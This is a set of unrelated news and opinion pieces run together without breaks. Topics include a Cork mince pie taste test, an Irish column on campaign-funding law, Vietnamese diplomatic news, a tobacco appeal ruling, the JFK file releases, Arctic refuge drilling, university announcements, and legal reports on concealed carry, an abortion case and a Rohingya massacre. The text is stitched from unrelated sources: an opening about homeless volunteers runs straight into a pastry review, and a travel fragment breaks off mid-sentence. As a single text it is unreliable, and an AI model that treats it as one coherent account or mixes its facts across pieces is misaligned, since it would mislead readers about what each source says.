One woman, currently living in a derelict car, says: They are the best people Ive ever met. If it wasnt for volunteers, I wouldnt even be alive.

Last month, Kathleen OSullivan told me something similar.

Nikita OSullivan, from the Glen, in Cork, has set up a Go Fund Me Page to raise funds to erect a headstone in memory of her aunt, Kathleen OSullivan www.gofundme.com/kathleen-o-sullivan-head-stone
I was delighted to see our tasters recognising the high quality of smaller batches baked with an emphasis on low additive ingredients, often with their own interesting additions.

Many tied for second place. Despite different pastries, styles and innovations, blind tasters gave overall identical marks.

Mince pies this year come in all shapes and sizes, and we particularly liked the idea of Marks & Spencers mince pie uncooked pastry cases (4.40 for 12) which can be filled with anything we fancy, even simple apple or pear for those who dont like mincemeat. Try adding a few cranberries or nuts for festive taste and texture, or tap some pomegranate seeds on top for a jewelled finish.

For the best results, warm your chosen pies in the oven for five to 10 mins at up to 180C/gas 4 /350F. I often warm them in the falling heat after a roast. Microwaving doesnt do it for me, making the pastry soggy and doing little justice to the rich ingredients.

Individual bakers have plenty of stock, but for large gifts/office parties, its best to pre-order. Try your own local baker too.

To help you make your selection heres our guide to whats in the shops on the mince pies front.

Baking Emporium 2.30 and 2.50

Two types of delicious pies here, one with walnuts, the other with regular mincemeat wowed tasters. The new walnut variety gave tasters a lift with all ingredients for the mincemeat variety, except the fruit  cane sugar, cinnamon, butter, cream and rum. The dense fruit version includes moist plums, apricots, dates, raisins and walnuts. The shortcrust pastry is superb. Wide and generous, its one to share. See bakingemporiumltd.com for farmers markets.

Score: 9

The Natural Foods Bakery 2 each/ 6 for 7

Also sold frozen so you can bake for 25 minutes and serve as your own, these have a deliciously natural fruit filling with fresh tasting citrus and rich dark fruits. Pastry is light, flaky and golden. Tasters loved them.

Score: 8.5

My Goodness raw mince pies 2.50 each

Gluten free and vegan, with extras of goji berries, cranberries, apricot, dates, fresh ginger, spices, lime and orange soaked in kombucha. Stars on top made from dates, sunflower seeds, coconut and almond add taste and texture. The raw cases, made from coconut flour and milk, sprouted cashew, agave and raw cacao butter, break up easily but taste delicious. At new English market stall, ABC and farmers markets around Cork.

Score: 8.5

Heavens Cakes crumble topped 1.80/ 6 for 10.

This deep pie has a delicious, moist filling with chunks of apple and pear with gentle spicing and no alcohol. Pastry is light, soft and substantial  more like cake. The attractive crumble topping, like small balls of snow, is made from butter, brown sugar and flour. For all the family, especially younger members who might find regular mincemeat too intense.

Score: 8.5

Diva Ballinspittle 2 each/6 for 11

These light, flaky pastry pies have just the right amount of exposed fruit with a pastry star on top. Tasters loved them. The online pop-up shop also sells a kit with readymade flaky pastry, which needs to be rolled out, along with a jar of mincemeat enough for 10-12 pies for 15. Divaboutiquebakery.com

Score: 8.5

ABC  1.30 /6 for 7.50

In their attractive, signature triangular box, when filled with a dozen pies these make a wonderful family gift. With plenty of moist, loose filling which includes apple, the pastry cuts well. Consistent quality in Corks English market for the last 20 years, tasters liked them even better when warmed up. Good value.

Score: 8.5

Dunnes Stores Simply Better Cranberry & Chocolate 6 for 4.99

An interesting change for a mince pie, cranberries and chocolate chips are a good, slightly rich, addition to the fruit, showing a welcome creativity in a supermarket brand. There are hazelnuts, apple puree and grated carrot too. The pastry contrast worked better than in many of the cheaper brands which did not make our final Top 8. In an attractive black box.

Score: 6.75

Hassetts Bakery 1.50 each/ 6 for 6.50

Light pastry, crunchy yet not crumbly, has a decent bite in generous sized pies which could be shared. With fresh apple, the dried fruit mixture has no citrus back taste, which was particularly appreciated by younger tasters. Good value. There is also a 9in French style Roi de Galette (12) made with puff pastry filled with mincemeat which also makes a good gift. See hassettsbakery.ie for new outlets.

Score: 8.5
I DONT know if you heard it, but my goodness that was some unseemly row between Colm OGorman and David Quinn on Sean ORourkes RTE Radio 1 programme the other morning? It was so epic that Im guessing it will have been replayed a few times.

Both men refused to let ORourke get a word in edgeways  they let their dislike of each other prevail to such an extent that both became completely incoherent. I understand that feeling because Ive fallen into that trap a few times myself.

But I was, I have to say, really taken aback that two people who are generally such consummate professionals (whether you agree with them or not) behaved like such babies. It was worse than the sort of thing you hear as an election campaign reaches its climax and everyone is living on their nerves.

What made it even worse, however, was that they agreed with each other on the subject they came on to discuss. That irony, of course, was totally lost in the visceral nature of the exchanges.

The subject is a piece of spectacularly bad law  actually, if the truth be told, several pieces of bad law  that have their roots in a deep bureaucratic distrust of non-governmental organisations. That bunch of laws is essentially designed to make it really difficult to fund advocacy and political campaigning.

There are thousands of people in Ireland who believe in campaigning, and in activism. By and large (although again this is a matter of perspective) they want to campaign to change things for the better. When people come together around a common purpose like that, its often called civic society.

Civic society led the way around same sex marriage in Ireland. It forced the government to capitulate on the issue of water charges. It persuaded people to vote to change our constitution in regard to the rights of children.

Theyre just three recent examples in which what you might call people power, organised into a coherent campaign, changed things. It changes some fundamental things, and it changes some things fundamentally (and theres a difference).

But heres the thing. In a democracy, people gathering together around a vision, with a plan, putting together a campaign, developing a set of messages, putting up posters, marching, knocking on doors, is healthy. In fact its what democracy is about. It enhances democracy. Nobody has to agree with the aims and objectives  in the end, 99% of the time, democracy will come up with the right decision. (There will be those, of course, who would argue that Brexit and Trump prove democracy wrong, but thats a different story.) There is only one circumstance in which all that campaigning activity damages democracy. If its not out in the open. When, for example, a campaign is funded by secret money (whether from home or abroad) that is potentially fatal to democracy.

So our laws, you would think, would be built around that principle. They would insist on transparency. No matter what the purpose of the campaign, the bottom line would be that everyone would know how it was funded and organised  where the money came from, how much was spent, how many people were employed in the campaign, what proportion was spent of what sort of material (posters, newspaper ads, whatever).

But in fact, we dont bother much about that. Instead weve constructed a set of laws that are designed to make civic society campaigning as difficult as possible.

So, for instance, lets say a group of us want to set up a campaign that is aimed at ensuring every child in Ireland has a right in law to warm, dry and decent shelter. The thing we want to achieve for children is what is known as a political purpose. We become subject to all sorts of constraints. We cant accept any donations larger than 100 for our campaign without going through all sorts of hoops. We cant accept any donations at all from abroad (apart from the 100 from an Irish citizen living abroad).

Now, if we want to raise money to build homes for children, theres no restriction at all. But if we want to build a campaign to give them a right in law, its going to be really easy to run foul of the law.

The truth is that policy makers dont really like advocacy, it puts them under pressure. Thats why they make it difficult to fund, and why they have set up the Standards in Public Office Commission (Sipo for short) to, among other things, regulate and control how much money charities and others can take in and where it comes from.

But heres the other thing. Ireland believes in advocacy  elsewhere. Twenty years ago, when Irelands first white paper on foreign policy was produced, it contained a strong emphasis on supporting human rights around the world  the rights of women and of children especially. It was updated a couple of years ago, in a document called The Global Island. That stresses Irelands commitment to supporting human rights measures and campaigns throughout the world.

The most recent report of the Irish Aid programme talks at- length about partnership with, and support for, non-governmental organisations overseas. It even defines them, as organisations that support service delivery where government services are absent or inadequate, and (that) advocate for fairer resource allocation and respect for human rights.

In other words, we preach one set of principles abroad, and we practice another at home.

I guess the reason were having this row now is because were on the brink of a controversial and probably very divisive referendum about abortion. As a result, the pro-choice activists and the pro-life activists are watching each other like hawks, and seeking to secure whatever advantage they can.

You dont have to take sides in the upcoming referendum to know that it is going to be a hard fought campaign. Both sides realise that winning will require funding, and if they cant get access to it for themselves they will seek to deprive the other side as much as possible.

For the life of me, I cant understand that. You cant make change for the better  and you cant defend the status quo if thats what you believe  without getting out and campaigning. Ive been involved in dozens, maybe hundreds, of campaigns over the years, and I know they cost money. I also know that transparent and accountable campaigns are not just an intrinsic part of a democratic system, they strengthen it.

So why the vicious arguments? After all the shouting is over, both David Quinn and Colm OGorman agree. And the funny thing is  Sipo agree too. They want to police higher standards in public life, not where campaign contributions come from, and arbitrary limits to the amount that can be donated.

There should be one rule, and one rule only. You should be able to raise as much as you can, within reasonable limits, and spend it effectively. But you must do it out in the open. Its the secrecy, not the sources, that Sipo should be mandated to police.
This Week in Review

A weekly review of the best and most popular stories published in the Imperial Valley Press. Also, featured upcoming events, new movies at local theaters, the week in photos and much more.
A full-size replica of Buddhist statues from the Yungang Grottoes in North China's Shanxi province. [Photo/chinanews.com]

Thanks to 3D printing technology, three reproductions of Buddhist statues in the Yungang Grottoes, a 1,500-year-old UNESCO World Heritage site, are being displayed in the eastern coastal city of Qingdao.

The Yungang Grottoes art gallery, which opened to the public Saturday, displayed three full-size replicas of Buddhist statues from the caves in northern China's Shanxi province.

The middle one stands 10 meters high, while those beside it are 6 meters high.

"It's hard to believe that they are reproduced. They look so real," said Zhang Zhuo, head of the Yungang Grottoes Research Institute.

The two-year program was jointly launched by Yungang Grottoes Research Institute, Qingdao Publishing Group and Zhejiang University.

Researchers built 3D models for the three statues, then used 3D printers to reproduce them.

"The color was first painted automatically by machines. Then artists from Yungang added color in detail," said Diao Changyu, assistant to the dean of the cultural heritage institute at Zhejiang University.

"It's amazing to see the Buddha figures of Yungang. I plan to visit the grottoes next year," said visitor Cai Meijiao.

The Yungang Buddhist Grottoes in Datong city boast 51,000 Buddhist images in caves stretching for 1 kilometer along a cliff. It was listed as a UNESCO World Cultural Heritage site in 2001.

According to Zhang, the reproduction programs of two other caves, supported by 3D printing technology, are underway.
Cutting ribbon to open the exhibition (Source: VOV)

The exhibition is being held to celebrate 50 years of Vietnam-Cambodia relations, and promote the bilateral friendship and cooperation and mutual understanding.

Addressing the opening ceremony, Vietnamese Deputy Minister of Information and Communications Hoang Vinh Bao said that the event contributed to bringing spiritual sustenance, remind overseas Vietnamese of their national origins and introduce Vietnams land to the Cambodian people.

This was also an event to introduce the relationship in politics, economics, culture and diplomacy since Vietnam and Cambodia established diplomatic ties in 1967.

Cambodian Minister of Culture and Fine Art Khim Sarith said that over the past year, the two countries have coordinated to organize many events to celebrate the 50th anniversary of Vietnam - Cambodia diplomatic ties, contributing to promote connection and exchange between the people of the two countries.

The exhibition will run until the end of December 19th./.
National Assembly Chairwoman Nguyen Thi Kim Ngan and Lao Party General Secretary and President Bounnhang Vorachith (Source: VNA)



At a meeting with the Lao Party and State leader in Hanoi on December 19th, Ngan said the two sides have successfully organized activities of the 2017 Vietnam-Laos, Laos-Vietnam friendship year. She noted that the diverse and practical activities have exerted widespread influence on people of the two countries, especially youths, helping them understand more about Vietnam-Laos special combat alliance and the whole-hearted mutual support of the two Parties, States and peoples during the past struggles for national liberation and reunification as well as the present cause of national construction, protection and development.

Bounnhang Vorachith lauded the effective coordination between the Vietnamese and Lao legislative bodies over the past time, affirming their constructive and tangible contributions to the fruitful relationship between the two countries.

Host and guest agreed on the need for the two National Assemblies to enhance the sharing of information and experience, and their cooperation in supervising the implementation of Vietnam-Laos Joint Statements, agreements reached by leaders and Governments of the two countries, and other cooperation programmes.

They shared the view that the two legislative bodies should push for necessary changes and supplements to mechanisms, policies and laws in order to step up collaboration in trade and investment between Vietnam and Laos.

They also emphasized that the two sides should closely coordinate and support each other at regional and international forums, as well as in sub-region cooperation mechanisms./.
A performance at the program (Photo: VNA)

The program aimed to mark the 6th anniversary of the establishment of the Son Ca Club and it became a night to honour Vietnamese language and the traditional education of Vietnamese people.

In addition, the program included the segment Whole family singing together to evoke the origin and value of the invaluable spirit of Vietnamese language. Small artists were presented Vietnamese books for children who were born and raised in the Czech Republic.

Composer Nguyen Quyet Tien, co-author of the Czech-Vietnamese Great Dictionary, called on parents to become whole-hearted Vietnamese teachers of their children and hoped that the second and third Vietnamese generations in the Czech Republic are proficient and proud to communicate with each other in their mother tongue.

The Vietnamese Embassy and the Overseas Vietnamese Association in Czech are actively discussing with relevant agencies of the country in order to teach Vietnamese language in high schools as an elective subject for original Vietnamese students in the near future.

The Son Ca Club was established in 2011 to discover and foster Vietnamese children in the community having aptitude for and passion about singing, dancing and playing musical instruments.

Among the 30 members aged 6 to 16, some of them have shown talent, frequently being invited to perform in community activities and exchange programs.

The music night created an opportunity for them to have a significant playground, preserving and developing Vietnamese culture in the Czech Republic./.
R.J. Reynolds Tobacco Co. is the beneficiary of another Engle progeny trial verdict reversal by a Florida appeals court.

The case involves the largest pending jury damages awards against Reynolds  $13.97 million compensatory and $25 million punitive  according to its fiscal 2016 report.

The overall combined damages were $46.5 million. The jury determined Reynolds was 65 percent at fault for the chronic obstructive pulmonary diseases illness affecting the late Thomas Ryan and his widow, Bettye.

Engle progeny lawsuits sprang from a decision in 2006 by the Florida Supreme Court that decertified a $145 billion class action lawsuit initially filed by Howard Engle. That ruling limits former class members to filing individual lawsuits.

The Fourth District Court of Appeals ordered a new trial on Dec. 13. Reynolds did not have comment about the ruling.

The court determined the U.S. surgeon generals warning on cigarettes was erroneously admitted into evidence and improperly used to establish addiction-causation, and to bolster expert opinions.

In November, the same appeals court ordered a new trial for Reynolds, Philip Morris USA and Lorillard for similar reasons.

In July 2015, a Florida judicial circuit court jury awarded to John McCoy, widower of Glodine McCoy, $1.5 million in compensatory and $9 million in punitive damages.

The court ruled in both instances that the surgeon generals warning constitute hearsay, are inadmissible as either public records or adoptive admissions.

Because the reports were relied on at every major stage of the trial and used to unfairly buttress (the plaintiffs) factual contentions ... we also held that the plaintiff could not meet her burden or showing that the error was harmless.

The court made a similar ruling related to the warning Aug. 30 in a case involving Philip Morris USA.

The appellate court said during the new trial process that the plaintiffs could add claims for punitive damages on negligence and strict liability counts.

Reynolds fiscal 2016 report listed that 120 Engle progeny cases have been tried in Florida state and federal courts during a three-year period that ended Dec. 31, 2016.

Reynolds or Lorillard Tobacco has paid judgments in 37 cases. Those payments totaled $297.8 million and included $216.9 million for compensatory or punitive damages and $80.9 million for attorneys fees and statutory interest.

Reynolds is not responsible for paying damages while the verdict is under appeal.

However, it also could take years, millions of dollars in legal fees and require the placing of a $5 million appeal bond.

On Dec. 6, the Florida Supreme Court said it would not hear the appeal of a plaintiff who initially was made eligible for $23 billion in punitive damages against Reynolds.

That ruling sent Reynolds and plaintiff Cynthia Robinson to a new Engle progeny trial that was ordered Feb. 24 by the Florida First District Court of Appeals.

At $23 billion, the jury-awarded punitive damages represented in July 2014 about 75 percent of Reynolds American Inc.s market capitalization. It was later reduced to $16.9 million, the same amount as the compensatory damages.

The Florida appeals court reversed the judgment of the trial court, saying attorneys for Robinson crossed the boundaries of proper closing argument repeatedly, flagrantly and often in defiance of the trial courts admonishments.

Robinson was represented by Willie Gary, one of the nations foremost and controversial attorneys in personal-injury lawsuits. Robinson sued as the widow of Michael Johnson Sr.
It is not a bad thing for us, that the route known as the Goldene Strae or the Golden Road as we will get to know it- has escaped the attention of so many. It has been spared being overrun by hordes of tourists and as you will discover the
DALLAS  The National Archives has unsealed thousands-more pages from the Kennedy files. And while assassinations buffs weren't likely to find any major revelations  no proof of a second gunman, a Cuban plot, or evidence the killer could have been stopped  they'll have plenty to chew on.

The Dallas Morning News reports the 3,539 records include FBI and CIA reports on Soviet spies, the assassination of the Rev. Martin Luther King Jr., and Lee Harvey Oswald's trip to Mexico City a few weeks before he murdered President John F. Kennedy in Dallas on Nov. 22, 1963.

This batch likely will be the last released pending a final review of records. Many remain sealed at the request of the FBI, CIA and other agencies that pressed for more time ahead of a deadline set a quarter century earlier.

For decades, debate has raged not only over whether Oswald acted alone but whether the FBI and CIA could have stopped him. The latest documents, unsealed Dec. 15, provide fresh proof that he was in their sights: a 1975 CIA memo marked "top secret" shows that Oswald was on a "watch list" of people whose mail would be intercepted from Nov. 9, 1959, to May 3, 1960, and again from Aug. 7, 1961, through May 28, 1962.

The same watch list included Francis Gary Powers, the U-2 pilot shot down on May 1, 1960. His mail was opened until two months after his release by the Soviets. CIA also opened the mail of Earl Browder, the head of the Communist Party of the United States, playwright Edward Albee, "Grapes of Wrath" novelist John Steinbeck, and a daughter of David Rockefeller, chairman of Chase Manhattan bank.

Another revelation comes from a July 1978 memo to an attorney on the staff of the House Select Committee on Assassinations: The FBI was unable to locate the original fingerprints lifted from the rifle found at the sniper's perch on the sixth floor of the Texas School Book Depository.

Dallas police turned those over a few days after the assassination and never got them back. Top FBI officials told House investigators that finding the prints would be a "mammoth research effort."

The head of the bureau's fingerprint section told House investigators that standard procedure would have required returning the original prints to Dallas police, but "this case was not routine, nor was it handled as such."

In 1992, Congress set Oct. 26, 2017, for the release of all remaining documents in the Kennedy collection. The National Archives released a batch in July, and five since then. In late October, President Donald Trump gave the agencies six more months to review any material that might damage national security.

"We don't pass judgment on the value of the information or draw any conclusions about the content. That's left for the American people  for journalists, researchers, historians and the like," said Jay Bosanko, chief operating officer at the National Archives.

Previous batches of documents have revealed the deep ties between U.S. and Mexican intelligence agencies, and the lengths the United States went to in attempts to undermine or assassinate Cuban dictator Fidel Castro.

A trove released Oct. 26 included a CIA report showing that Soviet leader Nikita Kruschev believed Dallas police had been an "accessory" to the assassination, because he found it implausible that presidential security was so "inept" for Kennedy to be killed without a conspiracy.

The documents have also revealed serious lapses in the surveillance of Oswald, a former Marine sharpshooter who had defected to the Soviet Union, then returned, then sought to go back. He was in Mexico City seeking visas to Cuba and then the Soviet Union.

Much of the material released this month likely would not be subject to public disclosure under ordinary open records rules. Such materials provide insight into unrelated investigations, law enforcement techniques, foreign relations and intelligence gathering.

One 1990 FBI document, for example, relates a story from a source who claims U.S. Marines had unknowingly brought a Soviet agent into secure areas of the U.S. Embassy in Moscow "to engage in sexual intercourse." The agent then planted audio devices in the embassy, the source said, and removed the bugs during another sexual encounter.

Some of the documents also detail continued efforts to track the KKK and other white supremacist groups, especially in relation to the assassination of King in Memphis, Tennessee. One set of FBI reports newly unsealed details efforts to infiltrate the Ku Klux Klan in the late 1960s with help from an informant  a former Imperial officer  who "has been utilized extensively to cause dissension in Klan ranks."

The FBI scrambled for information on Dallas nightclub owner Jack Ruby in the days after he shot and killed Oswald.

Agents around the country contacted gambling sources for any insights, mostly coming up empty. But in Chicago, agents learned that Ruby had been close with Ross Prio, a "top hoodlum" in the city. And he was friends with gun shop owner Joe Scaramuzzo, who had sold three of the four guns used in a 1954 shooting at the U.S. House of Representatives by Puerto Rican nationalists.

Roughly a dozen archivists have been devoted to the JFK papers this year, coordinating with officials at the FBI, CIA, Defense Intelligence Agency and other federal agencies.

All documents subject to release have now been released in full or in redacted form, except for 86 records subject to further research by archivists and federal agencies. Records released only in redacted form will be reviewed in coming months by the agencies that generated them.

Most of the 5 million pages of Kennedy records were released in the 1990s, a bonanza for assassination buffs on a host of related topics, including FBI monitoring of anti-war groups, King, the Weathermen and others.

Congress created the five-member Assassination Records Review Board in 1992 as part of a law requiring the release of all Kennedy assassination documents within 25 years. The law authorizes the president  the one in office in 2017, that is  to block release if he deems it would harm U.S. intelligence, law enforcement, military or diplomacy interests.

Just under a third of the newly released materials  an estimated 85,000 pages worth  had been categorized as irrelevant to the JFK assassination itself, and withheld in full until now.

As with previous sets of records, this one provides insight into foreign intrigue and efforts to spy on adversaries.

There's a memo from the files of Kennedy's defense secretary, Robert McNamara, with a juicy geopolitical tidbit, courtesy of an informant close to the mother of Marxist leader Che Guevara. Che has recently returned from Cuba and told his mom that "Both he and Castro feel Khrushchev 'let them down' and has no further interest in spreading Communism in South America. Guevara added that he and Castro believe they and the Chinese are better Communists than Khrushchev."

The latest trove includes reports on Soviet and Cuban arms smuggling in the Caribbean, and complaints made to the Dallas FBI office about authors and documentary film makers contacting witnesses from the Grassy Knoll or the killing of Officer J.D. Tippett.

___

Information from: The Dallas Morning News, http://www.dallasnews.com

This is an AP Member Exchange shared by The Dallas Morning News
In 1980, during the Carter administration, Congress established the Arctic National Wildlife Refuge in the Northeast corner of Alaska. Many millions of acres of the refuge are already designated wilderness and thus are protected from development permanently, but a relatively small, 1.5 million acre part of the refuge coastal plain, called the 1002 area, was not made wilderness, but instead was designated a wilderness study area.

This area was so designated as it was known to have a considerable but unknown quantity of oil and gas underneath. This factor has led to a 35-year battle between oil companies and U.S. citizens who oppose the petroleum development. Protection of the refuge coastal plain has been favored by a majority of Americans over the life of the multi-decadal battle.

My late friend, activist Lenny Kohm, is known affectionately by the Gwichin indigenous people as the little white man who never sleeps. He played the lead role over the last 40 years in introducing lower 48 Americans to these gentle people and their beautiful home.

Now the Republicans, led by Alaska Sen. Lisa Murkowski, have chosen to include a drilling provision in the refuge coastal plain in the very unpopular tax bill likely to be voted on this week and signed by the president before Christmas.

What makes the national American sentiment so opposed to drilling? For one thing, the coastal plain serves as the birthing grounds for the porcupine and Central Arctic caribou herds that number over 200,000 animals. These animals provide the main food source for the Gwichin Indian Nation, a tribe of about 9,000 people in northeast Alaska and northwest Yukon Territory of Canada. Their entire culture has been built around the caribou that calve in the coastal plain. The Inupiat Eskimo of the Alaskan Coastal communities like Kaktovik and Barrow also hunt the caribou as a major part of their food supply.

According to Robert Thompson, an Inupiat Eskimo hunter from the coastal town of Kaktovik, Alaska, I have seen no provisions in the current (congressional tax) bill language to allow for continued subsistence hunting and protection of subsistence resources as prioritized in the Alaska National Interest lands Conservation Act. The Gwichin nation has passed resolutions opposing refuge development because it would severely affect their subsistence culture. Oil exploration and development would also impact my hunting and fishing, and that of other residents of Kaktovik. Hunting is a large part of our Gwichin and Inupiat cultures, and to take an action that would adversely affect this can be seen as cultural genocide.

Thompson continues, Forty-two interior Alaska villages are in support of the Gwichin resolutions, as are 14 bay tribes and many more across Alaska and the nation. There has been little mention of these interests in the brief debate around this bill. How can Congress overlook our subsistence priority in the Arctic refuge?

Many problems surround the Arctic refuge drilling provision of the budget bill. A community petition opposing oil development in the coastal plain of the Arctic refuge was sent to Sen. Maria Cantwell of Washington state during the Senate debate over the tax bill. This petition was signed by 61 adult residents of Kaktovik, which is a majority of the number who voted in the last election. I hope the petition will be considered by members of Congress, because it is signed by the real people of Kaktovik. Congress should not include Arctic refuge drilling in the current tax reform bill.

I am quoting Thompson because he is an Inupiat Eskimo and he knows of what he speaks from living it. I can say from my own personal on-site experience as an anthropologist who spent hundreds of hours in Gwichin and Inupiat Eskimo villages talking with these fine, gentle people that they deserve to continue their way of life. I can also say as a scientist (sustainable development) that not only these fine people would be devastated if drilling is allowed, but also all those around the world who would suffer from climate change made worse by the oil and gas that would result.


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12/18/2017



Bill Nash, Development Officer for the School of Business & Industry congratulates Dr. Ben Hardy on reaching his goal of endowing a scholarship for business students.

Dr. Ben Hardy has finally realized a personal goal 17 years in the making. After contributing to a scholarship fund monthly through payroll deductions and additional contributions since he started teaching at JSU in 2000, the Ben and Linda Hardy Business Endowed Scholarship is officially endowed.

I wanted to give back to the School of Business and its students from the time I first arrived on campus, Dr. Hardy said. In fact, it has always been a dream of mine to leave a permanent scholarship legacy. By utilizing the JSU continuous giving option, money has been deducted from my salary every month. Linda and I are now able to make a substantial impact on students forever.

Dr. Hardys commitment stemmed from his desire to enable students  many of whom are the first generation in their families to attend a university -- in and around the northeast Alabama area to pursue higher education.

Our scholarship will benefit deserving students enrolled in the School of Business and it will be awarded each year based on financial need and merit, he said.

Before coming to JSUs College of Business to teach Legal Studies in the Finance, Economics and Accounting Department, Dr. Hardy was a corporate labor lawyer at BellSouth Corporation and a law professor at the Cumberland School of Law in Birmingham. Linda Hardy is a retired art teacher from the Birmingham Public Schools. The couple are also avid JSU Softball fans, attending many games and supporting the program.

Dr. Ben Hardy is an example of the prestigious and caring faculty that educate and motivate our students at the University every day, said Bill Nash, the Development Officer for the School of Business & Industry. Many thanks for this generous scholarship contribution from this wonderful couple.
12/18/2017



JSU President John Beehler signs a transfer agreement with GSCC President Martha Lavender.

The JSU Transfer Pathways program will celebrate its one-year anniversary this spring by rolling out its first five programs of study at Gadsden State Community College:

Biology

Business

Chemistry

Child Development

Nursing

Beginning Spring 2018, GSCC students will receive advisement into these programs by college staff. JSU's transfer advisor will be visiting the campus weekly to oversee transfer admission policy and procedure. These students will then seamlessly transfer into the related bachelor degree program at JSU upon graduation from Gadsden State.



JSU launched the Transfer Pathways program last spring in an effort to significantly increase the transferability of students from community colleges. The pathway model allows students to enroll in specific courses at the community college level that will better prepare them for the major they wish to pursue at JSU.



In the past year, JSU has signed transfer agreements with the following Alabama colleges:

Gadsden State Community College (Anniston, Gadsden, Centre)

Northeast Alabama Community College (Rainsville)

Southern Union Community College (Wadley, Opelika, Valley)

For more information about the Transfer Pathways Program, contact Dr. Jean Pugliese, executive director, at pugliese@jsu.edu.
JURIST Guest Columnist Allen Rostron of the University of Missouri-Kansas City School of Law discusses policy and constitutional concerns about the Concealed Carry Reciprocity Act, which would expand the right to carry concealed guns outside ones home state

For years, liberals and conservatives have argued about how to strike the ideal balance between federal and state authority. While liberals have generally favored expansion of federal power, conservatives have called for states to be given more room to make their own decisions about difficult issues like civil rights, abortion, health care, marriage, and education.

The Concealed Carry Reciprocity Act of 2017 [text, PDF] is a striking example of how easily the tables can turn. If enacted, this law would significantly reduce each states authority to make its own decisions about how to regulate the carrying of concealed firearms. The U.S. House of Representatives recently passed the measure by a vote of 231-198, with conservative legislators voting to nationalize the issue and liberals contending that it should be left up to the states.

Every state allows the carrying of concealed firearms to some extent, but the degree of regulation varies. In about a dozen states, people who carry concealed guns do not need to obtain any special sort of permit or license to do so. In about thirty other states, permits are required but relatively easy to obtain. A small and shrinking bloc of liberal states, like California, Massachusetts, and New York, have much stricter requirements for permits.

Each state also gets to decide whether to honor permits issued by other states. For example, if a Michigan resident has a permit to carry a concealed gun in Michigan, is he allowed to carry a concealed gun while traveling in Texas? Some states have opted to honor permits of all other states. Some states are more selective and have reciprocity agreements with certain states and not others. And a handful of the nations most liberal states do not honor any out-of-state permits, effectively banning concealed carry for visitors.

Under the Concealed Carry Reciprocity Act, reciprocity would become a national mandate rather than a state choice. Anyone who is legally authorized to carry a concealed gun in his home state would be allowed to carry a concealed gun in the other 49 states as well.

This measure would dramatically undercut states discretion about how strictly to regulate concealed firearms. For example, a state that has a very careful process for vetting applicants for concealed carry permits would be obligated to allow concealed carrying by visitors from states that have an extremely minimal process or even none at all. A state that requires extensive training on firearm safety would be obligated to allow concealed carrying by visitors from states that require little or no training.

Enacting this sort of nationwide reciprocity has long been a top legislative priority of the National Rifle Association, which claims the new law will eliminate the confusing patchwork of state laws facing gun owners who want to carry concealed firearms while traveling.

While the NRA condemns it, that sort of variation among the state laws is one of the chief virtues of federalism. By dispersing power across fifty states rather than concentrating it all at the national level, the American system permits diverse policy approaches and encourages experimentation. As Robert Verbruggen warned fellow conservatives, no matter how strongly they favor gun rights, they should be wary of forcing their legislative preferences on unwilling states via federal decree.

Having won approval in the House, the bill is now before the Senate and seems unlikely to draw enough support to overcome a Democratic filibuster. If the bill did become a law, it would be challenged and courts would decide whether there is anything in the Constitution that authorizes the federal government to override state decisions about concealed firearms.

The Congressman who introduced the reciprocity bill asserts that it is based on the Second Amendment. If supporters of the bill rely on that argument in court, they are likely to fail. The Supreme Court has not yet decided whether the Second Amendment provides a right to carry concealed firearms. Although the majority opinion in District of Columbia v. Heller [opinion, PDF] noted that 19th-century courts generally upheld bans on concealed weapons, it is conceivable that the Court might nevertheless find that the Second Amendment includes some right to carry concealed firearms in public. But that would not be enough to justify Congresss enactment of the national reciprocity statute. Even if there is some right to carry concealed weapons, the Supreme Court is unlikely to say it is an absolute and unfettered right. Minimal requirements, like obtaining a permit or having some training, surely would still be allowed. And yet, the Concealed Carry Reciprocity Act undercuts even those sorts of minimal restrictions. For example, under the Act, a state that wants concealed gun carriers to have just a few minutes of gun safety training would be unable to impose that requirement on people who come from states with no training requirement. While Congress has some power to protect and enforce constitutional rights, cases like City of Boerne v. Flores have made clear that the federal government does not have the power to enact legislation that infringes state authority merely because Congress thinks a constitutional right should be broader or stronger than the courts have found the right to be.
A federal judge on Monday temporarily blocked [order, PDF] the Department of Health and Human Services [official website] from preventing two undocumented immigrants in federal custody from accessing abortion services. The government immediately appealed [notice, PDF] the decision.

The two minors, referred to as Jane Roe and Jane Poe, were placed in a federally-funded shelter after entering the US without authorization. When they learned of their pregnancies, the women requested that they be allowed to receive an abortion using private funds under an existing process established for such situations. According to her initial complaint, Jane Roe was prevented by the Office of Refugee Resettlement (ORR) [official website] from accessing abortion-related services, was forced  to visit a religious, anti-abortion crisis pregnancy center, and, over J.D.s objections, told J.D.s mother that J.D. was pregnant. Jane Poe filed a declaration [text] on Saturday indicating similar treatment by ORR.

On Monday, the US District Court for the District of Columbia [official website] ordered the government to transport the women promptly and without delay, on such dates, to an abortion provider, in order to obtain any pregnancy or abortion-related medical care and to obtain the abortion procedure itself, in accordance with the abortion providers availability and any medical requirements. The temporary restraining order also bars the government from interfering with Roe and Poes access to abortion-related services, notifying anyone of their pregnancies, and retaliating against either the women or the facilities in which they are housed.

The district court expressly delayed implementation of the order by 24 hours to provide the government an opportunity to appeal. A request for emergency stay [text, PDF] was filed within hours of the district courts ruling, seeking to delay the restraining order for at least two weeks, pending both the appeal and ORRs attempt to identify a suitable sponsor for Roe. Notably, the governments requested a stay only as to Jane Roe, recognizing the differing circumstances surrounding Ms. Poes case.

Responding to the request, the US Court of Appeals for the DC Circuit [official website] issued a per curiam order [text, PDF] staying enforcement of the order through Tuesday, and allowing the parties time to brief certain matters relevant to its decision on the emergency motion.

The government also asked [petition, PDF] the US Supreme Court [official website] to issue a stay pending the DC Circuit appeal.
Human Rights Watch (HRW) [official website] on Tuesday detalied the methodical massacre [report] in the Rohingya village of Tula Toli, also known as Min Gyi, in Burmas Rakhine State on August 30, 2017.

HRW alleges that Tula Toli was attacked by several hundred Burmese soldiers in uniform, as well as ethnic Rakhine villagers armed with machetes who trapped between 1,000 and 2,000 villagers along a river that surrounds the village. Survivors of the attack told HRW that the men were separated from the rest of the villagers and were killed over several hours. The mens bodies were placed in pits and burned. Many groups of women and children were taken to various homes in the village where the children were killed in front of the women, and the women were then raped and shot. According to HRW, the soldiers then locked the homes behind them and set them on fire with the women still inside the homes.

